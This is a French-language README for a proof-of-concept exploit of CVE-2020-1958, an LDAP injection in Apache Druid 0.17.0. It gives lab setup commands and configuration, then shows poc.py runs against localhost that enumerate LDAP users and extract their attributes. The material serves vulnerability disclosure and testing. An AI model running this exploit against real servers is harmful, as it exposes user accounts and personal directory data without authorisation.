
Preuve de concept d'exploitation pour CVE-2020-1958, une vulnérabilité d'injection LDAP dans Apache Druid 0.17.0, permettant l'énumération d'utilisateurs et l'exfiltration d'attributs LDAP.
CVE-2020-1958 est une vulnérabilité d'injection LDAP de sévérité élevée dans Apache Druid 0.17.0. Elle permet à un attaquant de contourner le filtre de recherche LDAP et de récupérer les valeurs de n'importe quel attribut LDAP des utilisateurs présents sur le serveur LDAP.
D'après l'avis officiel d'Apache Druid :
Lorsque l'authentification LDAP est activée :
- Les appelants des API Druid disposant d'un ensemble valide d'identifiants LDAP peuvent contourner la barrière du filtre
credentialsValidator.userSearchqui détermine si un utilisateur LDAP valide est autorisé à s'authentifier auprès de Druid. Ils restent soumis aux vérifications d'autorisation basées sur les rôles, si configurées.- Les appelants des API Druid peuvent récupérer les valeurs de n'importe quel attribut LDAP des utilisateurs présents sur le serveur LDAP, tant que cette information est visible par le serveur Druid. Cette divulgation d'informations ne nécessite pas que l'appelant lui-même soit un utilisateur LDAP valide.
Le script poc.py démontre comment un attaquant non autorisé peut énumérer les utilisateurs sur le serveur LDAP intégré à Druid et récupérer la valeur de n'importe quel attribut de n'importe quel utilisateur.
Ignorez cette étape si vous avez déjà un serveur Druid avec l'authentification LDAP activée.
Téléchargez Druid 0.17.0 et extrayez-le
$ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
$ tar -zxf apache-druid-0.17.0-bin.tar.gz
Activez et configurez l'authentification LDAP dans conf/druid/single-server/nano-quickstart/_common/common.runtime.properties
Activez l'extension druid-basic-security
Localisez druid.extensions.loadList et ajoutez druid-basic-security :
druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
Configurez l'authentification LDAP
Ajoutez ce qui suit à la fin du fichier :
druid.auth.authenticatorChain=["ldap"]
druid.auth.authenticator.ldap.type=basic
druid.auth.authenticator.ldap.initialAdminPassword=password
druid.auth.authenticator.ldap.initialInternalClientPassword=password
druid.auth.authenticator.ldap.credentialsValidator.type=ldap
druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
druid.escalator.type=basic
druid.escalator.internalClientUsername=user1
druid.escalator.internalClientPassword=user1
druid.escalator.authorizerName=MyAuthorizer
druid.auth.authorizers=["MyAuthorizer"]
druid.auth.authorizer.MyAuthorizer.type=basic
druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
Lancez le serveur OpenLDAP
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
Importez les utilisateurs de users.ldif vers LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Lancez le serveur Druid
$ bin/start-nano-quickstart
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last